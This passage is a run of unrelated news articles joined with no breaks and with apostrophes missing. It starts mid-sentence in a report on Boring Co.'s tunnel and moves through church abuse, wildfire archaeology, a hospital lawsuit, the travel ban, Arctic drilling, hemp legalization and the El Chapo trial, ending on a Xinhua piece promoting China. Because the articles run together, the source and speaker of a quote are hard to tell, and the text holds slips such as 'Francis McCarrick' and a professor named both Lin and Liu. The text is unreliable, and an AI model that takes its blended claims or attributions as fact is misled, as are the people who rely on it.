city manager. Were still paying the bill. Its been a disaster. Transportation experts say adding hundreds of miles of space for cars whether underground or above ground would be a step backward for California, which already is struggling to reduce its dependence on driving as both the population and economy continue to grow. But if anyone can solve one of the Southlands most intractable problems, his supporters say, its Musk a famously demanding and exacting chief executive whose companies created a reusable rocket and the coolest electric car. Urban planners are less optimistic, skewering Boring Co.s first tunnel as a tour-de-farce, a transportation hybrid from hell, and a sexy distraction from investment in high-capacity transit, which could move more people more efficiently. 1 / 9 Elon Musk arrives in a modified Tesla Model X at an unveiling event for a test tunnel dug by Boring Co. in Hawthorne. Musk is chief executive of both Tesla and Boring Co. (Robyn Beck / Pool) 2 / 9 Boring Co. CEO Elon Musk speaks at the unveiling of test tunnel in Hawthorne. (Robyn Beck / Pool) 3 / 9 A modified Tesla Model X in the Boring Co. test tunnel in Hawthorne. (Robyn Beck / Pool) 4 / 9 On the surface, floodlights illuminate tunnel boring equipment and the tunnel pit entrance during an unveiling event for Boring Co.'s test tunnel in Hawthorne. (Robyn Beck / Pool) 5 / 9 Musk arrives in a modified Tesla Model X at the unveiling of the Boring Co. test tunnel in Hawthorne. (Robyn Beck / Pool) 6 / 9 Elon Musk speaks at the entrance of the tunnel. (Robyn Beck / Pool) 7 / 9 A modified Tesla Model X ready to be driven into the tunnel entrance in Hawthorne. (Robyn Beck / Pool) 8 / 9 A family uses tunnel-boring equipment as a backdrop for a group photo at the unveiling. (Robyn Beck / Pool) 9 / 9 Electric locomotives and boring equipment are displayed at the unveiling. (Robyn Beck / Pool) To turn Musks dream into reality, Boring Co. would need to win approval for a subterranean transportation network, survive the inevitable legal challenges that come with major construction in California, and of course prove that the system would actually work. Thats a big if, said Lisa Schweitzer, a USC urban planning professor, adding that the idea isnt far removed from personal rapid transit systems. Sometimes called pod cars, the systems are designed to send riders in small vehicles to a destination with no stops. There are only a few in the world, including one in Morgantown, W.Va., and they can end up with tons of operational challenges, she said. Boring Co. had previously said its tunnel network would be powered by platforms called skates, which could carry cars or higher-capacity vehicles that would seat 16 people. But on Tuesday, Musk said the company had ditched the skate model, focusing instead on a simpler option: a set of guide wheels that run along the walls of each tunnel, steering self-driving vehicles. The wheels would cost $200 to $300 a set and would convert any electric car into a rail-guided train, Musk said. That raised eyebrows among experts, who said a car in a tunnel is still a car, with or without an extra set of wheels. The publics first rides through the Hawthorne tunnel were bumpy. The 1.14-mile trip took about two minutes along a concrete track that was so uneven in places that it felt like riding on a dirt road. Musk said the early imperfections would be addressed. Musk has vacillated on how nondrivers could use the tunnels, saying Tuesday that pedestrians and cyclists could get into shared cars, and on Wednesday that the tunnel could include a densely seated bus. His next goal, he said, is high throughput at high speed, sending 4,000 vehicles an hour hurtling through the tunnel at up to 155 mph, more than the average freeway lane, but far less than the capacity of a subway. Not all tunnels are created equal, said Juan Matute, deputy director of UCLAs Institute of Transportation Studies. Still, he said, if Boring Co. can successfully lower tunneling costs, that could make high-capacity subway projects cheaper, making them easier to build. Musk said he wants to create a tunneling process that is 15 times faster than the next best option. Boring Co.'s experiments have included pouring the rounded concrete pieces that line tunnels on site to reduce shipping costs, and automating their installation. Digging the route through Hawthorne cost about $10 million, the company said. That figure includes lighting, ventilation, safety systems and the concrete vehicle track, but not research, development or equipment costs. Property acquisition and labor are often the biggest costs for public works projects. Boring Co. receives requests about tunneling from five to 20 entities a week, and the company is now advertising its services for building municipal tunnels to carry water or utility lines, Director Steve Davis said. The tunnels also show promise for another type of transportation: freight. The twin ports of Los Angeles and Long Beach handle more than one-third of the nations cargo annually, and trucks carrying those goods toward Inland Empire distribution centers cause significant freeway congestion. Boxes dont care how bumpy the ride is, Schweitzer said, and they dont care about the view. So far, Boring Co. has used the Hawthorne tunnel exclusively for research. But Musk said he hopes the route will ultimately be part of a much larger network in Greater Los Angeles, which he said he plans to finish in time for the 2028 Summer Olympics in Los Angeles. The system could have 10 or 20 times as many entrances as a subway, he said, with spiral ramps or elevators that would sink into the tunnels. In Santa Monica, he said, there could be ramps below parking garages near the Third Street Promenade, allowing people to pop up, park and walk. Theres one problem, though: Cole said the city of Santa Monica wouldnt let him come within 100 yards of us. The traffic impacts of any such proposal would be among the many questions analyzed in the lengthy environmental reports required for major California construction projects. The process requires public disclosure of negative impacts and allows residents to go to court to stop or delay projects. The last time California built an entirely new transportation system the freeways those laws werent on the books, Matute said. Today, he said, building out a similar network could take two decades, a process the public will be watching with interest. I dont mind building a few tunnels here and there, and if he doesnt get very far, it will be a tourist attraction in 20 years, Schweitzer said. And if it does work, then he proved everybody wrong. The Archdiocese of Los Angeles knew for at least 13 years that one of its bishops had been accused of sexual abuse at a parish but did not inform the public until this week, despite repeated vows to disclose such information. The archdiocese, which over the years has paid out a record $740 million in settlements to victims of priest abuse, had promised to publicize the names of clergy accused of wrongdoing. But Bishop Alexander Salazars name was not on several lists released by the church, even though hed been investigated by the Pasadena Police Department in 2002. The inquiry involving Salazar only became public when Pope Francis accepted his resignation Wednesday as auxiliary bishop of Los Angeles. Neither Salazar nor his attorney could be reached for comment. The archdiocese said the departure of Salazar, who has long maintained his innocence, was an important step in its effort to better respond to abuse allegations that have roiled the church. But it raises questions about why it took so long for the Vatican to act and for the public to be told about Salazars history. Advertisement According to prosecutors and police, Salazar was accused of committing a lewd act with a child in the 1990s. The archdiocese said the allegations were made by a family who attended the Assumption of the Blessed Virgin Mary church in Pasadena, where Salazar served as a pastor from 1988 to 1992. The family didnt go to police until 2002, during the height of the priest abuse scandal. Detectives investigated and submitted their findings to the Los Angeles County district attorneys office, which decided not to file charges. In 2004, Pope John Paul II elevated Salazar to the position of bishop. The archdiocese said its officials were not informed about the Pasadena investigation until 2005. But Pasadena police on Wednesday indicated at least some in the church might have known sooner. The department said the incident involving Salazar was said to have occurred at a private residence. But officials made contact with the church and the school, in an abundance of caution, as they employed the individual against whom the complaint was made, the department said in a statement to The Times. Once senior officials learned of the allegations, the archdiocese referred the matter to the Vaticans Congregation for the Doctrine of the Faith, which investigates clergy sexual misconduct, Archbishop Jose H. Gomez said in a letter to the parishioners Wednesday. The congregation imposed certain precautionary measures on Salazar, who remained a bishop. Asked why the church did not name Salazar among the hundreds of clergy accused of misconduct, spokeswoman Adrian M. Alarcon said that the bishop was overseen by the pope and that it wasnt the archdioceses place to make the disclosure. As this matter involves a bishop, it is overseen by the Holy See, Alarcon said. Some advocates for survivors of priest abuse expressed outrage that Salazars alleged conduct was not made public much sooner. This is an egregious violation of their policy of transparency. It demonstrates there never was a zero-tolerance policy for abusers in the Los Angeles Archdiocese, said Joelle Casteix, a leader of Survivors Taking on Predators. He was elevated to bishop after his abuse was reported to police. Salazars resignation comes amid growing pressure on the Vatican to deal with a new series of priest scandals. An Illinois attorney generals report released Wednesday found that the number of Catholic clergy accused of sexual abuse in the state was much higher than previously acknowledged. The report found 690 clergy accused, although church officials had publicly identified only 185 with credible allegations against them. This summer, a grand jury report out of Pennsylvania uncovered a decades-long cover-up of child sex abuse involving more than 1,000 victims and hundreds of priests, sparking outrage and calls for reform. In response, the Los Angeles diocese and others across California and the nation have released new lists of clergy accused of wrongdoing. We owe it to the victim-survivors to be fully transparent in listing the names of those who perpetrate this abuse, Gomez said in a statement last month in releasing a list with 54 additional names. Salazar was not among them. Exactly how the bishop came to resign is unclear. But Gomez said in his statement Wednesday that he sought and received permission from the Vatican to submit the allegation against Salazar to the Los Angeles Archdioceses independent clergy misconduct oversight board. The board found the allegation to be credible and I submitted its findings and recommendations along with my own votum to the Holy See to make its final determination as to Bishop Salazars status, Gomez wrote. Gomez said the resignation shows a deep concern for the healing and reconciliation of abuse victims and for the good of the churchs mission. Salazar, 69, was born in San Jose, Costa Rica, and grew up in Los Angeles. He attended Daniel Murphy High School, East Los Angeles College and Cal State L.A. before eventually attending St. Johns Seminary. He was ordained in 1985 and worked in parishes in Whittier, Pasadena and Los Angeles before rising to become a vice chancellor of the archdiocese. In September 2004, Pope John Paul II named him an auxiliary bishop, leading the pastoral region of San Pedro, one of L.A.s five pastoral regions. Casteix said she was skeptical that no one in the archdiocese knew of the 2002 police investigation before Salazar was appointed a bishop. Patrick Wall, a former ordained priest who works as an advocate for sex abuse victims in civil litigation and is a canon law expert, said hes surprised that the church did not release Salazars name much earlier and that he was not included in the more than 23,000 pages of documents the archdiocese has been forced to disclose as part of its financial settlements with victims. Wall said Salazars resignation may be part of a larger preparation for a summit called at the Vatican in February to discuss the sexual abuse crisis. Pope Francis is trying to clean house, he said. In July, Francis ousted Francis McCarrick, the retired archbishop of Washington, from the College of Cardinals after he was accused of molesting a minor in the 1970s. A former Vatican nuncio to the U.S., Carlo Maria Vigano, then accused the Pope of ignoring McCarricks behavior for years. Special correspondent Tom Kington in Rome and the Chicago Tribune contributed to this report. richard.winton@latimes.com Twitter: @lacrimes It had been weeks since the Woolsey fire tore through the Santa Monica Mountains, and Gilbert Romero walked carefully beneath a scorched canopy of live oak trees. Romero, a fire captain with the Santa Ynez Band of Chumash Indians, passed a circle of rocks to his left and the bones of a blackened deer carcass to his right. He then knelt on the sooty ground near a pile of rocks and began sifting dirt through his fingers. A light rain had been falling all morning. Romero raised his hand, and there, clasped in his fingers, was a bead. He snapped a photo with his phone and put it back in the dirt. You never know what the rain is going to reveal, said another Chumash firefighter, Richard Quntan Garcia. We keep adding to the record. Advertisement Garcia, Romero and engineer Nelson Palto were there in the charred valley to inspect some of the 568 known Native American sites that fall within the burn scar for the Woolsey fire, which scorched 96,949 acres, including more than 88% of the federal land in the Santa Monica Mountains National Recreation Area. Gilbert Romero, a fire captain with the Santa Ynez Band of Chumash Indians, holds a bead that he found at a historic ranch in the Santa Monica Mountains that was burned in the Woolsey fire. (Mel Melcon / Los Angeles Times) The men are part of an interdisciplinary group of government scientists and fire professionals known as a burned area emergency response team. The teams assess what damage has been done to cultural and natural resources and what threats lie ahead. Biologists, for example, examine how fire has changed the habitat for such animals as the rare red-legged frog. Hydrologists study burned watersheds to see how severe mud and debris flows might be when rain comes. And then there are the Chumash firefighters. They not only check the condition of known Native American sites, but also gather what information they can about the past. They can tell you who was there, how long they were there, where they came from, who they traded with, what they ate, Garcia said about artifacts scattered in the mountains. It kind of tells a story. Fires offer a rare opportunity to look back in time. The dense vegetation that obscured some sites has been burned away, exposing new clues about the past. Garcia went out earlier this month to scout a site that archaeologists had known about for decades, but which he said had not been formally surveyed since the 1970s. The reason? The site had been covered in dense poison oak. There were ranch features around the site, including the foundation of an old stone cabin with the name of a European settler. There were also clues to Native Americans who might have lived there, including a circle of rocks Garcia speculated could have functioned as a place for ceremonies. Based on the discovery of the shell bead, Gary Brown, the cultural resource program manager at the National Recreation Area, said the earlier occupation near where the bead was found was probably Chumash, dating between 1540 and 1800. Gary Brown, cultural resource program manager for the Santa Monica Mountains National Recreation Area, holds a grinding stone known as a metate, among the Chumash Indian artifacts that were burned in the Woolsey fire. (Mel Melcon / Los Angeles Times) Every find Garcia and the others make will add to archaeologists knowledge of the area. Brown said six Chumash villages that were occupied at the time of European contact are within the burned area, and about 229 of the Native American sites are on park service land. Numerous Native American sites were affected by the wildfire, Brown said. One known painting was severely damaged, but assessments are still underway. The fire did worse damage to man-made structures. A museum building that housed boxes full of thousands of Native American artifacts burned down. The boxes were destroyed, and many of those artifacts including shells, rocks and bone fell to the ground and are now in buckets at the parks offices. Archaeologists must sort what remains and determine how to preserve it for the future, said Ann Stansell, an archaeologist with the National Park Service. These sites contain a lot of the memories of our folks, Garcia said. These are stories that are in these buckets. Romero compared their job to a treasure hunt. But knowing that the artifacts they are searching for are tied to his peoples story adds another layer to the task. It definitely grounds you, it is kind of hard to describe, he said. It is a proud moment. Just knowing we are doing something to preserve that for the future. javier.panzar@latimes.com Twitter: @jpanzar Two former labor and delivery nurses at Huntington Memorial Hospital filed wrongful-termination lawsuits this month against the Pasadena hospital alleging they were targeted because of their race and ultimately fired amid widespread discrimination. Veronica Loving and Martha Beltran say in the lawsuit filed in Los Angeles County Superior Court that the hospital failed to prevent discrimination against black and Latina nurses, who were singled out, given poor performance evaluations and denied promotions. In January, 13 nurses in the labor and delivery unit submitted a letter to supervisors to raise concerns about tension among the staff. The lawsuits say the complaints were not investigated. We strongly believe that this aggression is racially motivated, the group wrote. We dont think that a small group of nurses like to see women of color in positions of authority. As a group, we have felt discriminated, belittled, insulted and segregated because of our race. Advertisement Huntington Memorial Hospital said in a statement Thursday that it maintains a strict non-discrimination policy in our hiring and other human resources practices. In accordance with this policy, we treat any discrimination claim seriously. Such claims are fully investigated in compliance with all applicable legal and regulatory requirements. As a matter of policy, we do not comment publicly on confidential personnel matters. Loving began working in the labor and delivery department as a nurse in 2011 and for years received accolades and satisfactory performance evaluations. That changed when two new supervisors, who are white, were hired to oversee the department in late 2017 and early this year, according to her lawsuit. Beltran, a charge nurse in the unit who began working at the hospital in 1984, alleges in court filings that she became a target for discrimination in October 2017 when she was told by her new supervisor that a colleague had complained about her. She established that she wasnt present at work on the date of the allegations. However, two months later, she was summoned to another meeting regarding additional anonymous complaints. She told her supervisor that she believed she was being discriminated against. She noted that she was aware of another charge nurse, who is white, who had received a complaint against her and was permitted to address and resolve the conflict. She said she was not given the same opportunity and was fired later that month. The lawsuit says the unfair treatment of certain employees continued, peaking May 19 when a request from Loving for the hospital to have an extra nurse work in the unit that day was ignored. She wrote in a letter to the chief nursing officer that she had made the request for patient safety. Ultimately this is dangerous and directly reflects what we have been trying to explain to you, she wrote, according to the lawsuit. Our patients need to come first and this petty retaliatory behavior needs to be stopped immediately. Three weeks later, Loving was told she was being fired because of charting errors that occurred May 19, the same day she complained about the nursing shortage. This isnt the first time in recent years that Huntington Memorial Hospital has been accused of discrimination. In June, a woman sued the hospital for discrimination after she said she was denied interviews for a job as a phlebotomist for more than two years because she is black. She said in late 2016 she was offered an interview after she submitted an application under a different name and checked a box saying she was Filipino, according to the filing. Huntington Memorial Hospital also recently faced scrutiny for allowing Dr. Patrick Sutton to continue practicing amid years of complaints that the prominent Pasadena obstetrician was mistreating patients. A Times investigation identified more than 20 women who say Sutton mistreated them during his medical care. Their allegations date to 1989, his first year at the hospital, and include unwanted sexual advances, medical incompetence, the maiming of womens genitals and the preventable death of an infant. Sutton has denied each allegation. hannah.fry@latimes.com Twitter: @Hannahnfry The international arrivals terminal at San Francisco International Airport was packed Wednesday with dozens of people who came to support the arrival of a Yemeni mother who had been separated from her dying son. Shaima Swileh was separated from her family for months under the Trump administrations travel ban as they sought care for her boy, Abdullah. The State Department granted the waiver Tuesday morning after the familys story quickly spread across social media. This is a difficult time for our family, but we are blessed to be together, Abdullahs father, Ali Hassan, told reporters in the terminal. The 22-year-old said the ban had hurt both Yemeni and American families. Advertisement It needs to end, he said to applause. In a scene reminiscent of the throngs who poured into airports across California last year, some in the terminal Wednesday evening held signs in English and Arabic protesting the ban. Many were Yemeni Americans. We have families, one sign read. Remove the ban. No ban, no wall, another said. Two-year-old Abdullah was born in Yemen and traveled to the United States with his father a few months ago to receive treatment for a degenerative brain disease. He is currently on life support at UCSF Benioff Childrens Hospital. Both are American citizens, the Council on American-Islamic Relations said. When the parents realized Abdullah needed better care than what was available in Yemen, they had to travel to Cairo, where Hassan could petition for Swileh to receive a visa. The request was denied. In October, they applied for a waiver. Hassan flew to California with their son while Swileh waited for a decision. Members of Congress penned a letter to Secretary of State Michael R. Pompeo this week asking that the government expedite its decision on a waiver. Visa waiver applications are decided on a case-by-case basis, according to the State Department. There are three criteria outlined in the proclamation for a waiver: that denying entry would cause the applicant hardship, entry would not pose a threat to the national security or public safety of the U.S., and entry would be in the national interest. The Trump administration was forced to revise its original travel ban order twice since its rollout in January 2017 to resolve legal problems over due process, implementation and exclusive targeting of Muslim nations. The Supreme Court upheld the modified ban in June. The current version covers five Muslim-majority nations Iran, Libya, Somalia, Syria and Yemen as well as North Korea and some government officials from Venezuela. Banan Al-Akhras, an attorney representing the family, said the State Departments issuance of a visa waiver this week was not an act of kindness. The embassy and the Department of State had a legal obligation to adjudicate Shaimas request within a reasonable amount of time, and they failed that obligation, Al-Akhras said. The result of that failure is that a dying 2-year-old boy has suffered for the last two months without his mother by his side. Basim Elkarra, executive director of CAIRs Sacramento Valley chapter, said 21,000 people signed the organizations online petition to help Swileh. It didnt have to come to this, he said. This family desperately reached out to the U.S. Embassy in Cairo 28 times and despite their pleas only received automated responses. Swileh, her husband and her father-in-law were visiting Abdullah in the hospital room by 9 p.m., Elkarra said. CAIR officials were also there, waiting outside the room and praying. The moment, Elkarra said, was bittersweet for everyone. sarah.parvini@latimes.com For more California news follow me on Twitter: @sarahparvini The Trump administration took another step toward allowing oil and gas drilling in the Arctic National Wildlife Refuge by issuing a draft environmental impact statement that would outline four development alternatives, one of which would set some modest limits to protect caribou that use the area as a crucial summer calving ground. Environmental groups roundly criticized the report, which they said had been rushed in an effort to get exploration started during President Trumps first term. The Interior Departments Bureau of Land Management said Thursday that it still intends to hold an oil and gas lease sale in 2019 that would open up exploration of the refuges coastal plain on approximately 1.6 million acres of the 19.3-million-acre Arctic Refuge. The first lease sale would offer no fewer than 400,000 acres of high-potential land for bids, the bureau said. Advertisement The refuge home to polar bears, wolves, migratory birds and Porcupine caribou has long been closed to oil and gas exploration despite great interest in the petroleum industry. Climate change has made the area more delicate as melting ice has driven polar bears to spend more time in dens along the refuges coastal plain. However, a controversial provision in the Tax Cuts and Jobs Act of 2017 provided for opening up the reserves coastal plain to drilling and ordered the administration to hold at least two lease sales within seven years. An energy-dominant America starts with an energy-dominant Alaska, outgoing Interior Secretary Ryan Zinke said in a statement. One of the four development alternatives in the 392-page draft would protect the caribous summer habitat by putting aside 708,600 acres while still allowing oil and gas leases on more than 1 million acres, the draft said. Some of the alternative sets of regulations would limit some summer activity to avoid disturbing calving caribou season. The Bureau of Land Management said it would hold public meetings in Washington and the Alaskan cities of Anchorage, Arctic Village, Fairbanks, Kaktovik, Fort Yukon, Venetie and Utqiagvik. It set a 45-day comment period ending Feb. 11. A final environmental statemenmt would follow, then a lease sale. Environmental groups are unhappy with the process. Caribou graze inside the Arctic National Wildlife Refuge in Alaska. (Associated Press) Theres no precedent for anything done this quickly for an environmental review of this scale, said Adam Kolton, executive director of the Alaska Wilderness League. He said that this is really a rubber-stamp exercise rather than an effort to mitigate the impact to wildlife on the coastal plain. He said that the location of the public hearings all but one in Alaska was unfair to people living elsewhere in the U.S. These are public lands that belong to all Americans, he said, adding that polls show widespread opposition to drilling in the refuge. The Wilderness Society issued a report saying that the administrations estimates of oil in the refuge was based on outdated information and overly optimistic assumptions about how much oil exists in the region, the price of such oil and the speed with which it could be developed and taken to market. The societys report notes that the December 2017 sale on the National Petroleum Reserve-Alaska attracted bids on less than 1% of the 10.3 million acres offered. A source familiar with Alaska lease sales but who spoke on the condition of anonymity said that for now, oil companies weighing bids include Exxon Mobil, Chevron, BP, ConocoPhillips, ASRC, Oil Search, Armstrong and Repsol. Hemp a close relative of marijuana that can be used to make textiles and other products has long been classified as a Schedule I drug by the federal government. Thats set to change. President Trump is soon expected to sign a farm bill that includes a section that legalizes the commercial cultivation of hemp nationwide. The bill, years in the making, comes as public support for cannabis legalization has increased over the years, offering a cover of sorts to politicians who see the potential for boosting state tax revenue. Advertisement Heres a look at the movement to legalize hemp and whether it could open the way to lifting the federal prohibition on marijuana. First, what is hemp exactly? Hemp, like marijuana, is a form of cannabis. The two plants look similar, with an important difference. Marijuana produces a flower the sticky buds filled with THC, the chemical compound that creates a high when smoked or ingested. Hemp does not produce high levels of THC. Instead, it is prized for its stalks, which contain fiber that can be used to make rope and fabric for clothing. Its cultivation dates back to 8000 B.C. and ancient Mesopotamia and is believed to be among the oldest examples of human industry. But hemp has been illegal in the United States? Yes. Since 1970, when President Nixon launched the so-called war on drugs by signing the Controlled Substances Act, drug laws have made no distinction between hemp and marijuana when it comes to cultivation. Both are classified as Schedule I drugs on the Drug Enforcement Administrations list of controlled substances, alongside heroin and LSD. Over the years, this has led to misinformation about hemp. Earlier this year, Sen. Ron Wyden (D-Ore.) summed up the bad news for anybody who tries to get high on hemp. Federal law treats hemp like its a dangerous drug, but the only thing youre going to accomplish by smoking hemp is wasting breath, time and lighter fluid, he tweeted. Federal law treats hemp like its a dangerous drug, but the only thing youre going to accomplish by smoking hemp is wasting breath, time and lighter fluid. Ron Wyden (@RonWyden) April 12, 2018 But havent I seen hemp products for sale in U.S. stores? Yes. Hemp-derived products T-shirts and soaps have been legal for decades and are part of a growing market that the Hemp Business Journal estimated hit $820 million in sales last year. Those products, or at least the hemp in them, have come from abroad. China and Canada are two of the largest growers and exporters. U.S. restrictions on growing hemp began to loosen in 2014, when President Obama signed a farm bill that allowed universities and state departments of agriculture to begin cultivating it for limited purposes, such as research exploring the best uses for the plant. Since then, nearly 40 states including California have passed laws that allow for hemp cultivation and production programs. This year, five states Alaska, Arizona, Kansas, Missouri and Oklahoma passed hemp research legislation, according to the National Conference of State Legislatures. In contrast to its opposition to marijuana legalization and its threats to shut down state-approved pot businesses, the federal government has not challenged state efforts on hemp. Hemp companies and farmers alike have been lobbying to end the federal prohibition. So now its legal under federal law too? It will be, assuming Trump signs the new farm bill. Passed by Congress this month with bipartisan support, the bill defines hemp as an agricultural commodity and removes its status as an illegal drug. The bill also eliminates hemp from the definition of marijuana under the Controlled Substances Act and creates an exemption for the small amount of THC found in hemp. In addition, the legislation authorizes the U.S. Department of Agriculture to create quality control standards for commercial hemp production and gives states, U.S. territories and tribes the ability to adopt their own plans. This is a pivotal moment for hemp in America and it is long overdue, said Shawn Hauser, a Denver-based attorney who helps marijuana and hemp businesses navigate state and federal laws. Following decades of prohibition under outdated drug laws, hemp will finally be treated like other crops and legal for U.S. farmers to grow. The new law does not allow people to grow their own hemp plants. Why did Congress decide to act now? Its simple: pressure from constituents. Legalizing hemp had bipartisan support in Congress, especially among lawmakers from areas where agriculture is an economic engine. For years, Republican Mitch McConnell, the Senate majority leader, had faced pressure from farmers in his home state of Kentucky to legalize hemp production to help counter declining demand for tobacco and other crops. The states research program, passed by the Legislature in 2016, has studied the environmental benefit of hemp and the potential use of the plant as an energy source or biofuel. McConnell said the passage of the farm bill is a bright spot because hemp will be legal. At a time when farm income is down and growers are struggling, industrial hemp is a bright spot of agricultures future, McConnell tweeted recently. My provision in the Farm Bill will not only legalize domestic hemp, but it will also allow state departments of agriculture to be responsible for its oversight. At a time when farm income is down and growers are struggling, industrial hemp is a bright spot of agricultures future. My provision in the Farm Bill will not only legalize domestic hemp, but it will also allow state departments of agriculture to be responsible for its oversight Leader McConnell (@senatemajldr) December 11, 2018 Is everyone happy about the hemp provision in the farm bill? No. Language in the farm bill prohibits felons from working in the hemp industry until 10 years after their conviction. That doesnt sit well with advocates pushing to make criminal justice reform a centerpiece of cannabis legalization. A 10-year wait will effectively bar many people from contributing to this new industry, said Grant Smith, deputy director of national affairs with the Drug Policy Alliance. This is a setback for efforts to help formerly incarcerated people get back on their feet, and the ban only reinforces the false notion that hemp needs to be treated differently than any other agricultural commodity, a belief that McConnell and hemp advocates have worked so hard to dispel. Does this mean theres any hope for marijuana legalization? Not necessarily. Though members of Congress, mostly Democrats, have floated the idea of legalization at the federal level, and Sen. Cory Booker (D-N.J.) even introduced legislation to lift the prohibition, it hasnt gained traction. The legalization movement, however, remains active at the state level. Since 2012, when Colorado and Washington became the first states to legalize marijuana for recreational use, 10 others have followed suit. California did it in 2016. The most recent, Michigan, legalized recreational pot in November. With the exception of Vermont, which legalized with a vote in the state Legislature, all enacted their laws through ballot measures. For prosecutors in the trial of Mexican drug kingpin Joaquin El Chapo Guzman, it seemed like incontrovertible evidence: a series of expletive-laden recordings of the defendant negotiating a massive heroin deal in Chicago. Didnt you just say you could only get rid of a little bit? says the rapid-fire voice played for jurors Wednesday. On the other side of the negotiation, which included a proposed $100,000 discount on 20 kilos of heroin, was the man who secretly made the recording, Pedro Flores, a Chicago drug boss turned informant and now witness on the stand. But in a stunning twist, Flores told the defense attorney cross-examining him that the voice on the line might not be Guzman after all. Advertisement Do they sound like the same voice to you? asked attorney William Purpura, having just played a clip from Guzmans infamous interview with Rolling Stone. Not really, no, Flores answered. They sound similar, but no. He later walked back that statement, saying he knew it was Guzman because of the way that he greeted him my friend! and because the caller knew details of the heroin shipment. Besides, Flores told the jury, hed laid the trap for Guzman himself. I was working for the DEA trying to set him up, the witness explained. Im 100% certain it was him. The recordings and their provenance were the highlight of Flores brief but crucial turn on the stand, likely the capstone of his decade as a professional witness, in which time he has put away scores of fellow drug traffickers who were once among his closest friends. You gave each and every one of them up, didnt you? Purpura asked. I had to, yes, Flores said, explaining that the government had made clear he could give up everyone or spend the rest of his life in prison. What do they call that on the street? Purpura asked him. Snitching, ratting, the witness replied. Flores, who was born in the U.S., is the seventh snitch to take the stand in a case that rests almost entirely on the testimony of convicted felons. Unlike the others, he has already reaped many of the benefits of cooperation, including a sharply reduced sentence, immunity for his wife and a pair of rare S visas for his Mexican father and a brother, granting them temporary residency and a pathway to citizenship in the United States. Flores came across as gentle and trustworthy, a stark contrast to the murderous Colombian kingpin Juan Carlos Chupeta Ramirez Abadia, the cowering Sinaloa cartel lieutenant Miguel Angel El Gordo Martinez, and the combative narco family prince Jorge Cifuentes. Prosecutors sought to paint their witness as a hopeless romantic. Flores confessed that, while in prison, he abused the legal phone in prison to call his wife after hed exhausted his monthly minutes, paid another inmate to erect billboards declaring his undying love for her and snuck away with her to the bathroom and got her pregnant. It was actually my wifes idea, Flores told jurors, explaining how the pair had gone to wash baby bottles together during a family visit at the office park where he and his twin brother were being debriefed by the Drug Enforcement Administration. [The guards] were distracted. I wasnt thinking clearly. He explained that they had used a similar ruse on another occasion. Not once but twice? Purpura challenged. Yes, the witness said. Purpura did his best to bloody that fairy tale, accusing Flores of arranging the killing of a former buyer whose pregnant girlfriend later married Flores twin. You and your brother didnt kill Rudy Rangel? Not for the woman and not for the 200 kilos [of stolen cocaine]? No, the witness said. Flores seemed to endear himself to jurors, who laughed when Flores cracked jokes and exchanged bright looks of surprise when he recounted the rendezvous in the toilet. The defenses suggestion that he could have doctored phone calls he taped with a digital recorder from a Mexican Radio Shack seemed to fall on deaf ears. I just know how to press record and stop, the witness said. Sharp is a special correspondent. Aerial photo taken on Nov. 8, 2018 shows the container terminal of Port of Qingdao, east China's Shandong Province. (Xinhua/Yu Fangping) BEIJING, Dec. 19 (Xinhua) -- Charlie Barker earns more than 250,000 U.S. dollars a year and holds stocks worth 300,000 U.S. dollars in a Chinese company, a big sum even for his peers back home in the United States. It is Barker's 10th year in the city of Suzhou, east China's Jiangsu Province. The 52-year-old former U.S. soldier works as a senior researcher supervising medicine safety assessments in Wuxi AppTec Co. Ltd, a private integrated R&D service company. Barker's former army fellows once doubted why he chose to work in China. China is full of hopes and opportunities and Chinese people are optimistic and kind, said Barker, adding that China was no threat to the West and the world. Barker has persuaded his son, who is studying computer engineering in Nevada, to work in China after graduation. Barker's life experiences coincided with key events of China's reform and opening-up. He joined the army in 1984 when former U.S. president Ronald Reagan visited China, retired from army in 1997 when the Asian financial crisis broke out and began his China endeavor in 2008 when the international financial crisis erupted. China's reform and opening-up that began in 1978 has not only changed China but also deeply affected the world and reshaped its relations with the world. INTEGRATION China was to a large extent isolated with the world until the late 1970s and early 1980s when it changed the war-inevitable mentality and established peace and development as the two major themes of the present times. Barker still remembered the scenes when the Reagans visited the Great Wall in 1984. "Everything seemed to be that peaceful and beautiful," Barker said. Since the reform and opening-up, China has been integrating with the world and is walking to the center of global stage. China is already the world's second biggest economy and the world's largest trading nation. It is also the world's biggest source of international students and the world's largest group of outbound tourists. Facing mounting protectionism and a stagnant world economy, China has proposed a new type of international relations featuring win-win cooperation and following the principle of achieving shared growth through discussion and collaboration in engaging in global governance. A median of 70 percent of respondents across 25 countries say China plays a more important global role than it did a decade ago, according to a new Pew Research Center survey of 25 nations that was released in October. CONTRIBUTOR The second year after the 2008 global financial crisis broke out, Barker moved to Suzhou and realized the great contribution China had made. The country has helped stabilize the global economy during the 1997-1998 Asian financial crisis and the 2008 global financial crisis. He said that without China's contribution, the global economy would have struggled in the abyss for a longer time. China has driven global growth over the past 40 years. Its GDP has averaged an annual growth of around 9.5 percent. The country's foreign trade has also registered an annual growth of 14.5 percent in U.S. dollar terms. It has become a major trading partner with over 130 countries. So far, more than 140 countries and international organizations have signed agreements with China to jointly build the Belt and Road, an initiative aiming to promote shared prosperity of humanity by cooperation on trade and infrastructure. According to current UN standards, China has lifted over 700 million people out of poverty and contributed more than 70 percent to global poverty reduction. "China has played as a responsible contributor to world's peace and development," said Zhao Lei, professor with the Party School of the CPC Central Committee. Since 2018, the HoDo Group, one of China's largest apparel manufacturers has worked with Cambodia to build a special economic zone in Sihanoukville, a coastal city in Cambodia. Over 100 companies from countries including China, the United States and Japan have started overseas businesses in the zone. Upon completion, the special economic zone will be home to 300 enterprises and provide 100,000 job opportunities, which will greatly benefit Cambodia and promote the security and development of the country. The Sihanoukville Special Economic Zone was set up in response to China's new security concept that highlights common interests, cooperation and sustainable development. China believes that development and security should be attached equal importance so as to maintain long-term peace. China is the second largest investor in UN peacekeeping operations, and has sent the most peace-keeping forces among the permanent members of the UN Security Council. It has been actively involved in the world's peace-keeping campaigns including efforts in the most dangerous countries and regions. China has also announced that it would be part of the UN capability readiness system, a global peace-keeping mechanism that will provide quick responses to activities in breach of world and regional peace, with a permanent peacekeeping force of 8,000 troops. GUARDIAN OF GLOBAL ORDER Lin Huiping, 37, could be categorized as one of China's "post reform and opening-up generation." A professor at Soochow University, she acts as an advisor to the university's mock UN activities. In the latest session she oversaw, the students of the university played the roles of country representatives at the UN General Assembly and debated peacekeeping missions in Africa. "In the simulation of the UN session, the students had a taste of democracy and multinationalism in international relations, and had a better understanding of what the 'community with a shared future for mankind' means," Liu said. Mock UN activities, now common in Chinese universities and even high schools, 